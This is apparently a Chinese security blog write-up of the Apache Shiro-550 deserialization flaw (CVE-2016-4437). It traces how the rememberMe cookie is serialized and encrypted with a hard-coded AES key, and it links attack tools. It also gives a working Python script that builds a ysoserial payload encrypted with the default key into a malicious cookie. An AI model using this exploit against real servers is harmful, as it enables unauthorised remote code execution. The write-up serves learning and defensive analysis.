Shiro-550—漏洞分析(CVE-2016-4437)
漏洞原理
Shiro-550(CVE-2016-4437)反序列化漏洞
在调试cookie加密过程的时候发现开发者将AES-CBC用来加密的密钥硬编码了,并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie,然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。
注:想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥。后面就是反序列化漏洞。
源码分析
加密过程
约定:假设传入的用户名是root
1.入口在:onSuccessfulLogin函数

2.接着看下面有一个if判断是isRememberMe判断是否勾选了RememberMe,我们为了能够进行攻击的话肯定是需要勾选的,并且可以看到返回true进入if后会执行rememberIdentity函数,那么这里就正式开始漏洞剖析了。

3.跟进rememberIdentity函数,会发现他会用你登录信息来生成一个PrincipalCollection对象
(注意这里传入的是你输入的用户名root)

注意,我们这里需要跟进rememberIdentity函数里的rememberIdentity函数
进去后你会发现两个函数,这里两大分支:\
convertPrincipalsToBytesrememberSerializedIdentity
说明:我们先跟踪convertPrincipalsToBytes,但是不要忘了该函数结束后下一行要进行 rememberSerializedIdentity 。

4.接着跟进convertPrincipalsToBytes,发现这里就是对用户名root先进行了一个序列化功能,接着如果if成立就进去encrypt加密,那么这两点说的就是整个漏洞的核心。
序列化+加密
但是我们要进行攻击的话就要进一步了解如何加密的,到时候攻击的话序列化就编写对应的代码即可,但是加密过程我们是需要知道的,最好是能拿到他的密钥。

5.那么接着肯定要跟进serialize函数,再进去就没啥好看的了,知道他对用户名进行了一个序列化过程即可。

6.接着就要回过头来看convertPrincipalsToBytes函数,序列化完成后下面有个getCipherService函数,是用来获取加密方式的。
这里很重要,if判断和if里面的加密函数跟进后会获取到劲爆信息。

7.开始跟进getCipherService函数
开幕雷击,重要信息+1,

可以悬停看到他的加密方式AES-CBC模式

8.判断成功找到加密模式后,接下来就是进入if里面进行encrypt加密了

跟进后发现有做if,然后才开始进行加密,if肯定能进去,刚刚才拿到了加密模式

9.这里根据执行优先级,先跟进getEncryptionCipherKey方法
这个getEncryptionCipherKey就是最劲爆的,获取加密密钥,赶紧跟进一探究竟
直接返回了encryptionCipherKey,加密密钥就是他,那么肯定要找到他的setter方法,但是这里我决定不深入了,因为我们已经知道该方法是拿到加密密钥即可

最终你会找到加密密钥为DEFAULT_CIPHER_KEY_BYTES值

10.书接上回getEncryptionCipherKey获取加密密钥成功了,接着就轮到encrypt加密了,但是这里我就不继续跟进了,因为已经知道了加密方式和密钥了。

11.退出后接着就是 rememberSerializedIdentity 
不知道还记得不得之前提醒了convertPrincipalsToBytes函数退出后不要忘记 rememberSerializedIdentity

12.跟进 rememberSerializedIdentity 函数
里面的都不管了,直接看重要的信息,那就是对convertPrincipalsToBytes函数返回出来的bytes进行再次编码,这里使用了base64加密,然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。

- 加密总结:
对cookie进行序列化
↓
AES-CBC加密(密钥可碰撞拿到/用常用默认密钥)
↓
base64加密
↓
完成加密,设置cookie字段 
解密过程
解密过程其实就和上面加密相反,我更认为通过加密来理解漏洞更让人深刻,所以解密过程就是:
- 解密总结:
传入恶意payload在cookie的rememberMe字段中
↓
base64解密
↓
AES-CBC解密(密钥可碰撞拿到/用常用默认密钥)
↓
反序列化数据(攻击成功) 
那么其实最终要的就是获取秘钥和生成恶意payload,这两点就在下面漏洞复现来展开。
漏洞复现
1.抓取加密密钥
可以通过burpsuite插件安装来被动获取
https://github.com/pmiaowu/BurpShiroPassiveScan/releases

插件安装完成后就可以抓包方包看看

最后在目标那里就能够看到抓到的密钥了

2.生成payload进行攻击
这里就先介绍集成工具使用,直接一步到位。
本来想着用ysoserial,但是问题多多,使用起来比较麻烦。
建议使用该工具来的快:
https://github.com/SummerSec/ShiroAttack2/releases
使用方法也很简单,运行jar包命令:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
将你的url放在目标地址上即可
先点爆破密钥,回显日志中有打印:找到key,
接着再点爆破利用链即可

接着来到命令执行这里随便执行命令了

同时你还能添加更多的key进字典里面,字典在data目录下。

下面这种生成payload方式可看可不看,如果你很懂ysoserial就用下面这个,确实ysoserial很强,就是比较麻烦。
网上有现成脚本,改成你自己的dnslog域名
(这个脚本我只测试了dnslog,是成功的)
这个方法有缺点,需要你当前目录下要有ysoserial.jar,同时我试了其他gadget都失败了,执行不了命令,不知道哪里出错了还是咋滴,建议用脚本探测存在漏洞即可
请自行下载jar包才能用下面脚本:https://github.com/frohoff/ysoserial/

接着运行脚本
拿到payload

接着放到cookie里面,记住一定要放到cookie里面,因为反序列化就是通过cookie反序列化的。

下面就是脚本源码,千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://xxxx.ceye.io')
    with open("./payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)
参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/225442
https://www.cnblogs.com/z2n3/p/17206671.html
Shiro-550—漏洞分析(CVE-2016-4437)的更多相关文章
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
		
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
 - Apache Shiro 反序列化漏洞分析
		
Shiro550 环境搭建 参考:https://www.cnblogs.com/twosmi1e/p/14279403.html 使用Docker vulhub中的环境 docker cp 将容器内 ...
 - Java安全之Shiro 550反序列化漏洞分析
		
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
 - Shiro 550反序列化漏洞分析
		
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
 - Apache Shiro Java反序列化漏洞分析
		
1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...
 - 漏洞分析:CVE 2021-3156
		
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
 - CVE-2020-17523:Apache Shiro身份认证绕过漏洞分析
		
0x01 Apache Shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 0x02 漏洞简介 2021年2月1日,Apache Shiro官 ...
 - CVE-2016-0143 漏洞分析(2016.4)
		
CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...
 - 学习笔记 | java反序列化漏洞分析
		
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
 - Java反序列化漏洞分析
		
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
 
随机推荐
- Vue 根据鼠标悬停目标元素上方显示、隐藏指定元素交互实现
			
Vue 根据鼠标悬停目标元素上方显示.隐藏指定元素交互实现 By:授客 QQ:1033553122 开发环境 win10 element-ui "2.13.1" vue &qu ...
 - 面试题-python 什么是装饰器(decorator )?
			
前言 python装饰器本质上就是一个函数,它可以让其他函数在不需要做任何代码变动的前提下增加额外的功能,装饰器的返回值也是一个函数对象.很多python初学者学到面向对象类和方法是一道大坎,那么py ...
 - el-date-picker 时间日期格式,选择范围限制
			
背景:ElementUI的 el-date-picker 使用时,有时候想要限制用户选择的时间范围,但是用的是datetimerange类型的选择器,不想单独写两个起始的选择器.我发现网上的方案大部分 ...
 - docker 网络互通
			
自定义网络 查看所有的docker网络 网络模式 [root@docker ~]# docker network ls NETWORK ID NAME DRIVER SCOPE a4d70d5796e ...
 - 自动化测试框架开发python selenium excel POM
			
自动化测试框架开发python selenium excel POM 本文主要是采用python selenium excel POM 做UI自动化测试 测试框架选用的是unittest 测试框架用的 ...
 - 腾讯云免费申请SSL证书配置https
			
证书申请 1.进入腾讯云官网,在上方直接搜索SSL,搜索到后点击立即选购: 2.点击进去后选择自定义配置,加密标准选择默认的国际标准,证书种类选择域名免费版(DV),勾选同意服务条款后选择免费快速申请 ...
 - 【Windows】关闭 Ctrl+Alt+Delete 锁屏
			
参考百度经验: https://jingyan.baidu.com/article/9158e0005787c3a2541228b3.html Win + R 运行 gpedit.msc
 - 【Shiro】01 概述 & 快速上手
			
什么是Shiro? Apache Shiro 是Java的一个权限安全框架 一些功能:认证.授权.加密.会话管理.与Web 集成.缓存等 Shiro官网地址:[ 点击访问 ] http://shi ...
 - 三.mysql问答合集
			
目录 三.MySQL 3.1 关系型和非关系型数据库的区别 关系型数据库 非关系型数据库 3.2 登录数据库的方式,如何远程登录 3.3 MySQL的服务结构,当客户端发起请求后,处理过程 3.4 如 ...
 - 大模型时代该用什么样的显卡 —— 实验室新进两块A800显卡
			
具体如图: (这两个显卡是专为实验室的大模型方向提供的) 关于A800显卡的性能参数: (上图源自:https://www.zhihu.com/question/618932114/answer/32 ...